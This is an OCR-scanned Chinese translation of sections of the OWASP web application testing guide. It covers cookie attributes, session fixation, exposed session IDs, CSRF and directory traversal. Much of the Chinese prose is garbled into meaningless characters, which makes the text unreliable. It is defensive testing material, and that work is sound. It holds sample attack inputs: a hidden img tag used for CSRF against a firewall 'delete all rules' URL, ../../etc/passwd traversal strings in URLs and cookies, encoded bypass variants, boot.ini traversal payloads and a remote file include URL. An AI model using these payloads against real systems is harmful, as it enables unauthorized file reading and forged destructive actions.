e  Expires — XA &E M2 H SR % B A Cookie » IXFl Cookie H BRI AT & K HIAA 2L #. HF cookie
T, A TG A S 2R AR A 313 A Cookie. — HFIM, w252 B% Cookie » HiE, WIR
BAHBCE MR, L Cookie HATEYHINIEARSTEFAR, WIRSTELS N cookie 12 HMIER .

Ik S 4]
cookies JR MR

TH A FH AR A R ) VT A Y A A E AR AT N R T BB K cookie HRIFI N, (filH Set-cookie R4 Jf:
¥ & Cookie 1 41|45 Tt :

e Secure JE—24 cookie HLEHURAE BB 24 cookie fE o iE AN, N AZ UG LAY FH hnss Uil ki A
cookie. B, ERNHFET)G, M cookie W EH S TEAM, RJGHALEEMHH “;secure”Fril. WK
H, WL\ N RE L AiE HTTP 25K N5 uLin .

o HttpOnly JEH——BRIMEER W W2 A LB e, BRI ZHEAEHXANEM. XA EERERT 1% 7 b
JHAAS 1% cookie, LUINTE cookie F)Ze4r. RIIERMIE R E T “HttpOnly” JB 1.

e Domain J&H——FfiIA Domain WA B EML THAH. W LA, HAViZH¥ Domain BE A i 2 HM0Z cookie
IR S 2% Bltn: dn N HAFLET app.mysite.com k4528 b, I &6 N %Ak 30 E R,
domain=app.mysite.com" T AN A& 1% & A% "; domain=.mysite.com", [ X Pirise B 25 o VrH e AR 70 TRl (1 I 45 s
W F) cookie

o Path JE{E——FfiIA Path J& 41 Domain JE M —FERCAT B EAFIS TAAHL. B Domain J PERCE 13 2 5™
#e, AR path B2ECEFME K “/7F, EFRFES RVFH EAAAEIRI RN B E)1% cookie. #illn: Wi
N HFEFAAE T/ myapp /> FF HAfiA cookie #4121 E N "; path=/myapp/", AN & ¥ E A" path=/" 5L ";
path=/myapp". J1E{E myapp 2/ A “/” o WIREEMA, REEEH cookie KILLTATILAL
“myapp” HII%4%E, U0 “myapp-exploited” .
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o Expires JBE——WI LR MRS E BORR I — AR, R A S AR S AT AT B il R
cookie ¥'E A"; expires=Fri, 13-Jun-2010 13:45:29 GMT" (2010 4 6 JJ 13 H) , 14 a7 a] /& 2008 4 6 /1 10
H, # N RIRHAFEINZ cookie. W1 cookie AAEA7EH P IR P 431 2 L, B LA AL PR B2 GX A
cookie [T BUAMH P (Ul #L5D  shBe /e b H T 5 2 5 AN gt N N 2P

\\»
aft

HEH

®  RFC 2965 - HTTP State Management Mechanism - http://tools.ietf.org/html/rfc2965

®  RFC 2616 — Hypertext Transfer Protocol — HTTP 1.1 - http://tools.ietf.org/html/rfc2616

TH

AR

e  OWASP: Webscarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab Project

e  Dafydd Stuttard: Burp proxy - http://portswigger.net/proxy/

®  MileSCAN: Paros Proxy - http://www.parosproxy.org/download.shtml

TR AR

e  "TamperlE" for Internet Explorer - http://www.bayden.com/TamperlE/

e  Adam Judson: "Tamper Data" for Firefox - https://addons.mozilla.org/en-US/firefox/addon/966

4.5.3 231 [#] 52 Wi (OWASP-SM_003)

KL

4 RS R L 96 1T 8 R AN B cookie I, Xt 5 it AE 4K 2 23 1 [ il I e AT 7 M 519 cookie. 7
RAEOLR, B n LG OT 2 1h CRiliERD

|
1] 2 1 U IR R A A

o web WHIREFAEAK IEIA M2 ID CRARAE) Jiié FRIE—MHT, WSENIREFAR S 04
PRARMIRUE Z T FTHR AR I [/ — > 2318 1D,
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o ZuhiHmrEW AN — AN BRI ID, — BT B g, Bob it eedt ARIE f i .

FE— A F T S iR TR I, Bk 7 WebF\”JﬂEEF?L@'J%*A%EE@A%J‘%EE%W%E’Jé\iﬁ D, HAFBGLA %
G AR A A2 U 1D Gl Ak 55 2 90 E . S0t 75 Bh e ok A i sl e i HE A P K

BeAR, A RIS HTTP KA 2% 1D 3R 2 & E 1 B HTTPS P8 S50, X SR s, bk ) S A2 2E 1 .
WA 1D WA NG T A, BahE v LG eZ 1D, FHEH e &3

P 03K S A7)
R TR
DR 26— o0 Wl 38 sk (B4 www . example.com ) o WURIRATMER W
GET www.example.com
ESGEDWNEIVA

HTTP/1.1 200 OK

Date: Wed, 14 Aug 2008 08:45:11 GMT

Server: IBM_HTTP_Server

Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Path=/; secure
Cache-Control: no-cache="set-cookie,set-cookie2"

Expires: Thu, 01 Dec 1994 16:00:00 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html;charset=Cp1254

Content-Language: en-US

A EER], NHLER S In ST T HTAIAE ID:  JSESSIONID=0000d8eyYq3L0z2fgq10mav-rtd:-1 .
T4, ﬁﬂ%ﬁiﬂ]ﬁ(m POST HTTPS i B3l ik I FH 26 4iF -

POST https://www.example.com/authentication.php HTTP/1.1

Host: www.example.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: 1ISO-8859-1,utf-8;q=0.7,*;9=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.example.com
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Cookie: JSESSIONID=0000d8eyYq3L0z2fgqlOm4v-rt4:-1
Content-Type: application/x-www-form-urlencoded

Content-length: 57

Name=Meucci&wpPassword=secret!&wplLoginattempt=Log+in

FRATTA G 55 s RIS A 1«

HTTP/1.1 200 OK

Date: Thu, 14 Aug 2008 14:52:58 GMT

Server: Apache/2.2.2 (Fedora)

X-Powered-By: PHP/5.1.6

Content-language: en

Cache-Control: private, must-revalidate, max-age=0
X-Content-Encoding: gzip

Content-length: 4090

Connection: close

Content-Type: text/html; charset=UTF-8

HTML data

A T BRI VA RATHTY Cookie, HHIGTRATIAIE 2 1EEIFFA ATRER L,
PSR

BATRLAA AP RE— DA ETE 1D (ATReR LS TREES) |, RIGZERMMATRIAE, FMEEARS S ES
XFi% cookie 43R T HiAL,

HK g A S 45

MIT R TR LT AL AR JE AR 77 B S Mt T 2 136 4 R B,

HOEER

N FHAESGUE T P 00 S N R BRI 2316 ID. WRIGUERLT), WHRHt—ASH 451 1D,

(] Session Fixation
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e  Chris Shiflett: http://shiflett.org/articles/session-fixation

TR

e  OWASP WebScarab: OWASP_WebScarab _Project

4.5.4 27547 5l s ik (OWASP-SM-004)

EL:

IR ST A EFNMEE (Cookie, SessionID, [ETBD , W SIEKEERE ZFMN HEEANN T,
DRI, A i IR A I 12 A G 2 1% A 57 M 45 D A2 24 ) i ) 68 5 M P e 95 4% < T A2 B P I £

i) 7L ] 2 35 W)

FHORAR DR Tfs 2 4 A f W T B BIUR 2 18 10 HodlaAf i, AN B 21— ot it o AU % f re Ll
GAT AN T I 3 15 55 4 508l FA B SR A i B At o B P S AARERA WTRERERA AE T 2106 TR M SRANIRAY.

o MY (H1,: HTTP vs. HTTPS)
e HTTP #:3k
o fEHELARW: POST mi# M 7T A %)

t{M”EF i FIIR 55 2 G 248 1D B i, #aR izl SAMBRATR Rk, i 2 fEm
I GET B¢ POST K. 18 B, SeHAAFLN vTTP il R 7L 1E 1D,

X e 4
I &esx i LI PR T 9K -

B pi B RETE RS2 Y ssT P ftt, (HthAn] R Fe BRI s e i o N 245 K2 X2 1l 1D (¥
WO Nz S AN 2 T 518, D2 th 1D I GRG0 1D A S AR E RIS . BB
AR Rl 1D IFEANHREF, BrUAIRAINAZAE S5 1D ARSI R i AT fR 97 UE REpER AR . PRI,
SR AL 1 D, WAVEE R TARLED OSBRI R B B o #RN B CRAT T 135 R e P S R DA e o)
PAT N DIfE . 725 NI LI, 2o HBEAT ] L AT, 1A hetps: / /Bl nttp: //, AN &R
H.posts IMEHUIGIL, LA A B X 2 AR 2 A M2 AT T 7870 b o

R WA SR A DAL P BEEAAF AL A SO0 FERER 205 1D (Bldn: 3l MEM ) F &
TREE NI, IBLXREA RS AU TR 216 1D M8 i\ 2 KN BV A 2N E, &
AT N I A T AR 4235 1D,

HOGER
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€

B UGAIERS, P #R R

o AT

o BRUKIE HTTP i SR IN A2 Tl hn s JRTE ik 4
AREZEA IR

FERLAE N I RE Y 2 AN 2t 5 R BB 22 4. FAEVFSAR UL T, 20 il k., TSP s AR A St st R 1
WO (anBlkh) Vil W HREF . HTTP PhSORAE R ) FIefREAT N, RN PP X455 e BRI AT R
FEARIME AR P AN AZIIE 2 1D FEANAZN 216 1D MATZEAE,  PIUL Y AZAS 2 T RE e AR ORAE A% Fi 2 1 1D I
BRI BGRSC i na EIR e JRAh, ARt TD W, AN % SR 1k 1) BAS L G A A A T GRAT (KR

fEHTTP/1.0 FIHTTP/1.1 P, #MNAZACE N LT IR Ge A7 b s 24— REC 2616 il T B HTTP H3E
MROFERI i, HTTP/1.1 $2ML T KENIZE 7 H2EHIALH], Cache-Control: no-cache i B EE AR RE - AT 4k H8, HE
§i Cache-Control: Private §+ & — A& HIFE R - e VIR FIAERGAFEAE,  (EE I i H A R 48 X R e
EARBA WAFE R . RIS AE ] P RS, Y SO R g = e (Pl 1 IR 2% 7 g, W?Jﬁfﬁﬁ/i\?ﬁiﬂg%ﬁqjéﬁ
245 ID, fH HTTP/1.0 227K Cache-Control: no-cache 545,

AP SUER

[A#FH “Expires: 0” Hl Cache-Control: max-age=0 5%, DLt DIARGEAFARSM B ER, N 20 B ML 2416 1D
O s SR /M N TR A, DURORAEH T E YRR

GET & POST 55 ri &

H1 T URL Mt REAEACRE B KO H G it sk, — A NAZA N GET R 1n 1o, A% i w] LU
IR T RAREARMTHLE] (0 Post 155K) » (HJE GET UK HLILE R R4 0 5 5 dds . B, i 45 52 Jk e
R P RGERF I S5 M BERE, Aol Z RIS il fUIA (xss) Hudie SRIMW R & P ol posTs fE4, X R Bt KA
= RS

SRV -

MNAZAS Al POST T R ELCEE 1 BT A IR 55 s umACHS, DU PR e A2 GET ARS i sds . B, T i i 8 5% it
P2E I POST 53K .

POST http://owaspapp.com/login.asp HTTP/1.1

Host: owaspapp.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.0.2) Gecko/20030208 Netscape/7.02 Paros/3.0.2b
Accept: */*

Accept-Language: en-us, en

Accept-Charset: 1ISO-8859-1, utf-8;q=0.66, *;q=0.66

Keep-Alive: 300
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Cookie: ASPSESSIONIDABCDEFG=ASKLIDLKJRELKHIG
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

Content-Length: 34

Login=Username&password=Password&Session|D=12345678
WA login.asp #AIERSLEL, A TTRE ARVAHEH DL R RS % (GET 1K) -
http://owaspapp.com/login.asp?Login=Username&password=Password&Session|D=12345678
AR TR A POST) KIMIEEE (K AN 24 (1 IR 45 45 ui A A% o
AL IR IR
AT AT %5 s 55 I RE P R A He o 2 /D 5 A AT T4 45 DL T Ao

o LNl ID WiHERL? N, GET, POST, #H CHLFHEMTED

o ZUE ID R TIRZERIN LI AL i KR %

o ETAT AT REERIY IR LA AR I Uy SURIE 2 1D? I, DK HTTPS AR f HTTP

o A XGAAEBITE G H T2 0 1D AR R K /M Y 2

o XUEIRIREVRAFE? WA, HALBIAMEBL?

o MM TAS AU ID A GET iR ?

o UNHAH POST, RE1FREY GET Hffe?

®  RFCs 2109 & 2965 — HTTP State Management Mechanism [D. Kristol, L. Montulli] - www.ietf.org/rfc/rfc2965.txt,
www.ietf.org/rfc/rfc2109.txt

®  RFC 2616 — Hypertext Transfer Protocol -- HTTP/1.1 - www.ietf.org/rfc/rfc2616.txt
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4.5.5 CSRF i (OWASP-SM-005)

EL:

CSRE Bl Al 2 F AR B0 i £ web N AT R ERIATE, fEALS TAEREBD T (Anadid v it / 10
RREREERE) |, BehiE IR iafl web N AR P $AT BT BT g R AT 30, ﬁ*AEEIJJE’J CSRE YA H A5
SEIE SN, B RENS G F A T B AR (A RR AR B AR R B ALK, — AN CSRE Bl il LA
FHHEN web N,

AR ZEVES)

CSRF ¥ ¥ i 9

2 W, OWASP 3 %iZ CSRF Jiilil
Qe 8 5 CSRF YR

% I, OWASP Development Guide 3L 2 U1{a] i % CSRF Yl -

4] B ZHLTE CSRF JwiF

2 I, OWASP Code Review Guide % 2 1A 7 A VG CSRF IRl

[APEFLN
CSRF K T LU T 464
1) AEERA S IRE B web WWARAIIT A, 41 Cookie A1 HTTP SilE(E B
2) Bk ER AR web N AR A URL 1R
3) FUROBE Y 2 AR5 B I i A
4) HTML bRicHIFFIERE 3 HTTP [s] W 40 1MG B A xid,
1, 2, 3 sONHRIRAFERLAR A, M5 4 s M A0 0 B s ) S2Bn 0T A R T ARES DY RO F AN B4
1) FERES ARG BRI P 16, BRI site &ML web N ARFIIMEL, HF3ZHA
vicetim WRIGEE 5s FBRUE o 4l 2 ] 25 17FH)4* ™ cookie, e AT A% KIS & T P IE ) 23146
A b, BRI ARICRZ 5 BCE K Cookie, B4y B cookie AT ATt Wl iy 1k — D BEsR R IE H X

2) ANHLN RN URL YA ST SE L, B A X B WA ] LA N R RO aE. S5t AEf. i
T AR o3 A EE A 7 1) B 0 S HTML/ JavaScript [R5 URL)
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3) WA TR SR HRIERAEME R, W Cookies, HUJET HTTP MBI RAFEE (UIHEA G435
iE, EIFAEIE TR SO IRUED o LT K AL S T Bl e B0 AR 45 BEANET00 I R P X ) 36 U
Ko TP RGHE I IAE T 58 e KSR S A - 21 i N IR

Jyfap st W, RV GET R URL (HARMITICFFEEH T posT i5sk) o WRZEH CALKUEH A S
By, FIRRTERS G cookie IERTER LA (WEA, WRAS VI wew.example.com N AR

https:/'www. emample. com delataTrul—"*

Thiz i= tha raguast to the application

] . IE
: SESSIONID=myzessionid

Tha cookia iz smtomatically sant by tha browsar site

victim
WRWLCONPArTy exanple
conkia: SERSIONID=myzaszionid ¥ -

GET >R AaeEsk H T2 MR G
o HsBRfE H web R
o HIEME(ENE A URL KT ;
o HfEHANEBEERE (BN HRRFFAME) i ki A

N FRF JCIE X 73X 28770, AR 3 sURRFAIER AT, A 2R CRIRIFD 0] LA 55 FLSRERE 1 st . IXAMEE %
AU AAE B i, s HIE A5 ISR P R s . B, BEle iF BN oe W KRN
K (=AM, —A> BTML BRAFAE) HfaEE: BN R P I I . RO e W Bl web N FEF 156

UE, WA P S s aERE:, WA 2 web MR KW GET KM G M IAEF S (£1F ID i Cookie) o IXFf
(R4 FE RELE web N HFET FHHMTHSEAE, HEnfea KA P ARG ER AN EN . Blan: £ FRAT N T
HP G | A T I R SR R R R s R X R i

ISP ST S img WOARIE, H P EERAT B S — AN e . BOR B RIE A — B e
, BIEH VRIS R (RAL 7)) i) BTML Bk

<html><body>

<img src="https://www.company.example/action” width="0" height="0">

173


http://www.example.com
https://www.owasp.org/index.php/Image:Session_riding.GIF

€

</body></html>

YRR TR, S R B R (RIER) MEIHR. XFFEE S AR web N HFE FHEERS
www.company.example, 7 URL A RS — MR B HAEZ, ¥ src FBh e R, W
RN VAR B B E AR BRI R, XRME A R . T AR BRI SR K2 E web NIRRT SN,
B2 FHEIEMH web NIRRT, P —MAl A S SR E .

NSNS T X R B R
e  HTML FRICAFAE T & T A ShHAT HTTP WK (flan: 1MG) ;
o NIMEERTLIEMNIE TMG 5IHMIRIEA L EH K R, EINEIEMIEE AN ETEN;

o LWRAHETAAME, KRS RN, M KPR A AR RO TR A ENL, EREALEMFER
b, HARKRE IR T ERDIEE, BN R LA > BN G IE I A

b, 5 web MHREFICR MW A AT REZ N R AOALPE, RIS 2 B st R R thlsR, Xl fevF
TR 324 0 1R BAT E AR, DAIERAR I AN BE A IUAT R FIRE P () URL, 15 WBEAT Fpid At 13X
FHAT N o SRR A R kA 20 55 5 TP 2 1A ORI R, TR L5 RO B A PTREANTE RO 6, Pl
Wiki & AT LSRR URL.

FESEA B /D 2SI, XS AT RES BRSOV E S Bon TESE A B FIREE L, X85 S S EUEH
FHIEW W EE cookie N web W TR HATIE K

mH, ¥ vrL ZRERARWE R, HE ST Regit— PR T .
<img src="https://[attacker]/picture.gif” width="0" height="0">

[attacker] J& Bt il kst s, R AL mHLEIM http://[attacker]/picture.gif B4 2]
http://[thirdparty]/actionhttp://[thirdparty]/action.

KT K BIA L Cookies,  WIER web NAIRR RIS UGS FE 4 i th il v s de it whes FIRE A7 E T
Te XAHFE KT nrTe AUENLHIE SN IR B S8 Sl IR A5 BT AR SR N 3 AR X LA
Mo BACFERETRAKGMIUE: By — B —KIZRRIIE, a4 —SEMIE 2l A o EE (3
Ry AERXFMEILT, WRXEEBORLE AU cookie 1, AT A MR ZATHIEIL .

FEAR DL

BB, 2 E R BB KB A BN TR . HL A6 IE B A REG 3 B o B il UK i A7 A

cookie Ht,
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(B 7 I i R 2% A B 7 PR P A — A DI RE Fe v LA 36 U R S B A7 B 20 B i o ORI, 2 L A N
Cer I REMIER BT A ECE A (RS fERRAYhRE, (HERAERXAM FEAER) o BRI TSR PR, b T
AL L, ARBR AL T )™ Y GET 3R

https://[target]/fwmgt/delete?rule=1
(W3R 28— 2 R )
https://[target]/fwmgt/delete?rule=*
(WA 3 e A M) o

AN T BT LR A, (B A ) DA I AR CSRF (MG FE .

I Firewall Management - Mozilla Firefox oy ] |
File Edit Wiew Go Bookmarks Tools  Help 0

@I hé E% s @ @ @ I https: v, company . exampleffrmgtdelete j @ Go I@,

Enter rule to delete, or * to delete all niles: I*
Delete |

Rk, FAEmAN “*” {8, JFAd Delete 8, #i#iss T FHIM GET iK.
https://www.company.example/fwmgt/delete?rule=*

REMIER T AT B XS] (=7 AR AR L RRATT AR 2 . . ).

3 Firewall Management - Mozilla Firefox - |Elli|
File Edit Wiew G0 Bookmarks Tools  Help 0

QEI - |:> - @ @ @ I hittps: f fwamw, company .example/fwmgt/delete?rule="* j @ Go I@,

You have successfully deleted all firewall rules

Continue |

RIFARZME W REMr 5. HIT T REIE 1 T3h3R A (K URT, Wtk R S BUAH [R] (1 45 5«

https://[target]/fwmgt/delete?rule=*
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B AN R N, BOEE ST R iR R, B, AR IR TMG IFRICTE 1) R Rk T v
Ki il o

FE EIRPTATZEERG UL, AR )™ S Rk B B5 KEAE BY R, IS SR 2 A OB e K R C

RGN Rt (0 3 br i U N FE P B EAT A S BEbr . BEeds . T, SORE SR A E S,
ZJERPSIRE T .

IR IX LI o] LAAERT KB imiatr. gt , WSz R Ui (o ANl 2R Ui ) st LT . &
FRERAT AT AL N web MRS54%. B, EIGRBIE) CAKATRE SL VANl IRy R U510 (1) B Kt 8 Bty o A
CSRF Mili HARE MM B OB I RE Y L L WHESRAE AT RER S ? SX R R B il REPEAR /DN, (HE R SEA AT REK
A

A A AR PN I RER? - B ORAE Sty i A0 H AR SRR Can R PR NI RE ) S s DR 4 5™
o WX N R A AR, I L BRI esRE B R B IH P (i D88 7O 1k, it
A RERE AT LE U BRAR R B AR P RA A B AR R A

b
N FPRTT R N AR AELL TR SR
il

H1 ¥ CSRF il it fr A, AR BUZ Mk, Db RS . LSR5t fih :
o M Web IR A SZETR H
o RELERIN S RAF I 40 / 560, WALV G RE S “ 0~ A 5ok

o N AR R EAI A R Uy T R, PR AT ) ELIR I s A RAR A ZRAE [F]— B LG P, S50l
FHAS R P00 B 85 o

SRR HTML DI RERIHB A/ S 4% B i /0 A PR S R 17 B 2 O DI, DRI A SR 00 AL S w3 I gt vl i 2 e 8ty o
FR#E

25 URL N2 T AR SAR Lo 3 F sl (0 32 2 DRIt A2 25 15 Ul I cookie RAAIE, T cookie 2 H1d W 4% H 3% 4
1o 2R URL A7 5 € I ii A5 B, I K Bl st IR HMERNTE URL B 45 K JF A 8h Bt o

FLreons S BARANREMR HX A [, (HZ W] USRI Y i FO L

JH POST fA# GET. H4R POST ik nJ LLiliid JavaScript B , (FRRAMATE B T hin K & shBok s . Af
M T I T AR IR . Cn: “ISaf e IR BEREAL? 7 KRR D) o BEAREA TR B ki
giid, AFRBEAEARATR) TR E A —28, Dk, ARRUUK X Lo ik R S I SRR . F s pL e
FE sk ek D V) % i TR PT e, HL B 21 P A S35 CRORAEAFAE IR ) web BT R HFR P B AR IR
A S DA 2 A IR P ) 3 ) A7 AE TR B RUBR: . ) o
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PRI 5 1]

AT PR A I EEAE IR GALEJS /) X EiﬁE’JHth RN AES, ATEUEGE B AR A (0 - Bl
BRI EH . AERXPEOT, R TS s 0 TR Pl ml DA SR st iy o ik

AN, AR AT IR AT IR, RFUA IS A B B Wi 51 2 SR C8 SR P A 2 e . 3Xm)
REW B KR At 2 TR

e 3, MRS LIS R

o  FRATH vARFEMA URL, 4:  u = http://www.example.com/action

o HEN—/NEEZSM URL v HTTP IERA ATML Wi FIBAFTEMRSE; F 5TTP GET 6 F LA E#
SR, TAE POST if KPRl | — L JavaScript) ;

o HATRAAEIH RS BN
o M AR BT A ) P AR (AR B OSBRI, WA AR S TR )
o WEEIR, AR web ARSTAEEIAT T IRIRERIINT K,

K A AR S5 451

AN R AR E L A BRI A S, AR TR ROE BRI T2 (. (R RR rT BUBRTIIER) , L
NP A, “& )R i Cookies Al BTTP HMGAFUE T (EARIGIFFH A A 5TTR AIE; A

TR TR N RRPNAERAE) o WURAEN R P AR, A2E URL PSS STARMERE, JHERM
TAE VUM BE TN 30 C 131 XX 5 B 7 bR~ KBRS

@ HTTP GET iK1 RIM BIRIR A AEAEIR, (B Javascript BEIKIEN POST i K IFFEFELEIN . [N
WA AS ] pOST i KA B LAAL 4t CSRF i

e This issue seems to get rediscovered from time to time, under different names. A history of these vulnerabilities has been

reconstructed in: http://www.webappsec.org/lists/websecurity/archive/2005-05/msg00003.html|

®  Peter W: "Cross-Site Request Forgeries" - http://www.tux.org/~peterw/csrf.txt

e  Thomas Schreiber: "Session Riding" - http://www.securenet.de/papers/Session_Riding.pdf
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e  Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan

e  Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-fag.shtml

TR

o IAIBLH BB A Bk T AT LUK DI E) CSRF JilE A7 7L . (HARIEZ 1T LA spider/crawler T H.LI3RAHR 45
¥, AT SNTE 75 E AR URL.

4.6 B

BRI & RVFFAFVF T B H P SRR TR, AR 2 T R AGR RG] TAE, FEl H X 2 BB Ll %
B RIHRAE G — AR . R, MR AR 2 R0IE 1 548 FH — W ) A R ARR 36X — & . AEXFERT
flir, B AL A LS PR 3B — N A0 Ty iR . BTE T o e 45 AR 3 AR A

4.6.1 #4720 Dy il (OWASP-AZ-001)

e, T TR A RENS BB — 7 ISR T S B i B R R A DR B AR B

4.6.2 et AU UL (OWASP-AZ-002)

AR B RO S AN B AN S £ /5 B AR S AR A OR B D BE / BRI

4.6.3 AR T (OWASP-AZ-003)

FEER B, U i ZERA A AN BER ] SR VRRE BRI B (K7 35S 250 H CAE R FTRE e AL IS R AL/ A1 £

4.6.1 #4230 ;X (OWASP-AZ-001)

| ik

VF% web NHRERR HHRAEI > g2 68 F B0, Sl I i BT Bt B9 S8 L M AR IR DT 15, Bk w]
VIR R GE L/ B A REYT 0] (30, fERFEFOL T, A TRt TR ISR g fm

| e

A2 3 7 s T Ui B

Z W, owasP SR NI,

Z W, OWASP SCEADN B B I,
4] 38 S B A0 D U TR
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OWASP $ B & T An kG B A2 8 13 i i
TS AR B A0 3 e T

1. OWASP Code Review Guide SCEE 2 An{al{& i B2 [ IR Ahd,

i) L 4 i

FRELIR) Web [l 5545 A1 Web N FHREF T4 BSOS, AT SO IR UERLE . Web ARk 55 a2l BRI - O0R]
AEFIAE R H o 8P OO A RS, X8 H AR IR ST RSB H ok . HI 0K XA H A28 web
IR E R A R e At H 3o U R IFI C ACL D XPRFALIRY s S Af o MR 6 FH P B 20 RS 7 I 25 2 b7 1)
AT A S BT LERLRI G R B o P U7 R U (B, £E Unix A 5 3 UL /ete/passwd
D s AT R ST

VFZ Web N FIRE 70 i 55 4 i BAUAS (0 S AN RISR B S AR P VAR LG BB, I3 & SCASE
o RSN IIZH (1, RPMSH Cookie (H) WALIIIAE, IXLEN IR P23 B85 24N .

£ Web 5545 M1 Web N HIRER, S0 ] /U AL Ay i 47030 17 /6 5 AN ST R sl o R P IAE (i), 0t RE g 132
WA TCTA I H SO RAT P i SR S LA« mlM A58 19 il 5 BRUAS R L A [ S A

HT OWASP JIATEFII SR 5, IRATR BB Web R AT R 2 A, TAZ Web i554s (Billn, e
Bons web k5585 S A IRE I % 5C 8 ") o FATRE A AR B AE 2% 5 PR L — 2D I B R I

IXFh B AR N dot-dot-slash B3 (/) Hgd . HE4Tek H 5358 .
KT RIS AR I D L S AN SR, AR VPAL R BRATT TR AT AN AS [ I B
o () WIANMEIE (RGPS — AN A &)

o () RABIAR (AT ZRANZ PO Boeks R sl i B A6 00— D Bl 509D

B A S 4
(a) WARMETE

g T e N R IR S 0 A7 E Sead i NG UE AR, AR TR A2 AT B S RN R 4y X IE A
HTTP GET Fll POST ¥ FIZAL ST A AL RN HTML KL FHTN o

NI B TR A 2] 7
o ETAFAER T I AR ERAR I R 24
o REAHEAT RN AT
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o REEABINAELIR?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content

http://example.com/main.cgi?home=index.htm

o ETHVREMIE Web TR M UL /B B2 AE SO H ) Cookie ?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:5=3cFpqblgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

(b) JHABA
B B AL AT Web IR P AN BOAIE T g -

e E—AZHh, 244 getUserProfile.jsp IZNA M IO\ — AN SCHh A SE R, BN REREGH ). Bah#nT
DUR AR Z 25 ). . ] Jetc/passwd“ F T-A15 Linux / Unix RS MH) 0. AR, XFh B L 7 RFR 25
RWMUGA T RERET s WP ST R RFA e E , Web N R A G 20 BEA% 152 0% ST

T RN — BB, AT B T AR TIA RS AE SR S, i, 223N 1S Web IS5 i sk
Jetc/passwd LA iE=ZITCR LI .

http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

Cookie 14| ¥:

Cookie: USER=1826¢c8f:PSTYLE=../../../../etc/passwd

R LLELREAE T A58 IR ) ST R BIAR

http://example.com/index.php?file=http://www.owasp.org/malicioustxt

1 AR A AT AE TS TR AT S B0 I AR S 0 N 5 o1 AR TR AR,

http://example.com/main.cgi?home=main.cgi

2N main.cgi "I FNIL S N R A 8 HTML BRSSO TR H S o AERESetB sl 5 IR
BUF R R g ig sk (. ”dot, “%600” null, ... ), MBS SO 42 il 5y - AR TAT .

TR T A RAE TS8O B A TR g e DRI RIS 7 REAS A N o I SR AEER — UGl 7 4
BB, 250 Fhgat 7 S st i B R LLSEd i A K iE

FEAMENE R AL A R ) 5 A5 A D A2 00 B 4+ -

Unix-like OS:
MH s
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H sk B fs:

Windows OS:
#i2 H 35 "<drive letter>:\"
H %ﬁj\lgl%?“,]‘ ||\n but also ||/n

(EFHOL T, 7E Windows (1 H s 7 B AR TN 70 X )

Classic Mac OS:
MR H 3% "<drive letter>:"
EEZCTEa

FAIN 1E T B T4 b -

e URL ZifiB UM URL 4ifid
%2e%2e%2f represents ../
%2e%2e/ represents ../

..%2f represents ../

%2e%2e%5¢ represents ..\
%2e%2e\ represents ..\

..%5c represents ..\
%252e%252e%255c represents ..\
..%255¢ represents ..\ 4545,

e Unicode/UTF-8 %iifith("es FUdi I TR 42 18 K UTF-8 7911 R %)
..%c0%af represents ../

.%c1%9c represents ..\

K S AR 52 4
RGN Wb s I SR G Wb (R T i AR, el TIRATRE A A PR, BT DU 5 SRR L R

ANl GURABTEE (a) ) o AEJARES S I, FRATTAT LU AT (35 i TR (A grep fird) SRR A el AN IR
JPARB R LR WS TRE, SCIF RS , 5

PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...

ASP: include file, include virtual, ...

AWM EACHEE 2518 (Ban, 48k CodeSearch [ 1 1, Koders [ 2 1 ) , WMAREEHECM FARAH
TR AL 2 B 2R T TR

X pHP , FATTFTLABE
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lang:php (include|require)(_once)?\s*[""(1?\s*\S_(GET | POST| COOKIE)

AP AR A 1 e A AR A A DL IR s I »
— 48 Web [N R 78 A A7 A8 i e 1 A S HUE BEh 25 W T A8 IR e 19 ol B 8l eI, A7 T RESEA
R B AR D AT H o B AR RE AR AR PR S U BT ALK IR IR o

I TAER S DR SRR WS AL ATEE A “2ai)” DRI K 2 4 REAR AE 4 A B

BRAh, o AYRACHE 2 2 A PR AL BETC B AN I DB . 26T H i B SCR TR N, A AT, e 15 R
o XLETREE W B o A AE L AN .

AR — S XL ) Web WY TR

filename = Request.QueryString(“file”);
Replace(filename, “/”,”\");

Replace(filename, “..\",”");
ST A 3BT 0 e

file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini

e  Security Risks of - http://www.schneier.com/crypto-gram-0007.html[3]

e phpBB Attachment Mod Directory Traversal HTTP POST Injection - http://archives.neohapsis.com/archives/fulldisclosure/2004-
12/0290.html[4

TR

o Web Proxy (Burp Suite[5], Paros|6], WebScarabl7])

e  Enconding/Decoding tools

e  String searcher "grep" - http://www.gnu.org/software/grep/
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4.6.2 SEd # AURE I (OWASP-AZ-002)

EL:

S B F At A 6 S AT A A €8 R A SIS U 2K A SR O B S e / B U

|

AT TR F A7 0905/ FL U RIS A T B VE o BT T BRI AT LA s
BaCE

o CHMIRAEMIRIEN, A R REYT iU ?

o ETTHAREEITHT IS VI I B ?

iy

AT REFRAT I, A AN R A G PR B L A BE VS i) B4 S BEAT D295 2

A

o SRR AT B ST s i N AR B ER P A BRERRE o an RN T ) S SR A W eV
I X L B fE 2

o DAL, 10T B BRI A AT R REAE T IX S ) e ?

LSRR

I RN

